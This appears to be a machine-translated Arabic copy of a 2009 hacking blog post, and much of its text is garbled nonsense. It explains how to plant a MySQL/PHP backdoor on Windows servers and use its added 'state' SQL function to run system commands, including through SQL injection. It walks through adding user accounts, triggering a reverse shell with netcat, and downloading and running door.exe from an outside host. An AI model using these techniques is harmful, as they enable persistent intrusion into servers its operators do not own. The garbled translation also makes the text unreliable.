ك مستتر، مستتر، الخلية،، st0p بلوق في

ك مستتر

وكان هذا الدخول على موقع 24 يوليو 2009

مصدر: بوري مانشستر

وكان الباب الخلفي الخلية الباب الخلفي لوضع خادم PHP ماي + لماي بعد من الباب الخلفي لتثبيت إضافة يمكن أن "الدولة" وظيفة تنفيذ أوامر النظام، وتبدأ عملية الخلية يقوم دلل مرة أخرى الشم نوع الباب، وأدركت بذكاء لا يوجد منفذ، لا عملية، أي نوع من الخدمات من خلال جدار طروادة. برنامج في WIN2003 WINXP + MYSQL5.0.X، وتحت تمريرة.
وسوف Mysql.php نشر التثبيت لخادم PHP، وفقا لملء المضيف المستخدم DB-كلمة السر، انقر على "مستتر الخلية لصناعة السيارات في تثبيت"
بعد نجاح التثبيت، سيتم زيادة الخلية بواسطة وظيفة "الدولة"، في حين أن عملية الخلية يقوم بتشغيل استنشاق من الباب الخلفي من هذا الباب الخلفي في ويندوز لديه امتيازات النظام نفسه و MySQL.
استخدام وظائف الدولة
وظيفة الدولة هو في الواقع نظام PHP () "وظيفة ويمكن استخدام نفس الوظيفة لتنفيذ أوامر نظام الرجاء إدخال الأمر SQL:" مكتب وملء بيان الخلية ليتم تنفيذها، مثل "تحديد الدولة (" على قناة NoHack المستخدم صافي / إضافة ")، انقر على" تنفيذ عبارات SQL سيتم تشغيل النتائج.
مع وظيفة الدولة تقوم الشمة من الباب الخلفي، حتى لو خسر WebShell، طالما أن خادم SQL نقطة الحقن، ويمكننا من خلال الحقن. PHP؟ ID = (1) ودولة ('المستخدم صافي') "طريقة ينفذ على الخادم ؟ الأمر ومع ذلك، إذا كانت نقطة الحقن ليس هو زلنا ندعو شم مراقبة الباب الخلفي خادم إرسالها إلى أي منفذ من الخادم ومنفتحة على الخلية، "بداية من الحزمة، سوف تكون قادرة على استدعاء الشمة من الباب الخلفي، مثل:
أمر نظام التشغيل: من نورث كارولاينا والملكية الفكرية 80 -> أدخل -> الخلية، كمد / ج المستخدم صافي ايه بي سي / إضافة> C :/ log.txt، (ملاحظة: "!" في الماضي لا يمكن أن يتم حذف)
2 20082 منفذ قذيفة ترتد إلى الخادم المحلي: الجولة الأولى من NC-20 082 ليرة لبنانية لمراقبة الآلة 20082 المنفذ، ومن ثم من نورث كارولاينا والملكية الفكرية 80 -> أدخل -> الخلية-C - أدخل>
السماح لتحميل الخادم: من نورث كارولاينا الملكية الفكرية 80 -> أدخل -> الخلية-HTTP :/ / www.x.com و/ door.exe-C mydoor.exe (ملاحظة: مشاركة "لا يمكن أن يتم حذف)
بالإضافة إلى إرسال "الخلية-C-"، الأمر الآخر هو أي صدى، ولكن تشغيل الأوامر المقابلة على الخادم.
إلغاء تثبيت MySQL على المدى "هبوط وظيفة الدولة" يمكن تفريغها، ولكن في نفس الوقت سوف يتسبب في عملية للخروج من الخلية، والعودة إلى وضعها الطبيعي بعد إعادة تشغيل الكمبيوتر.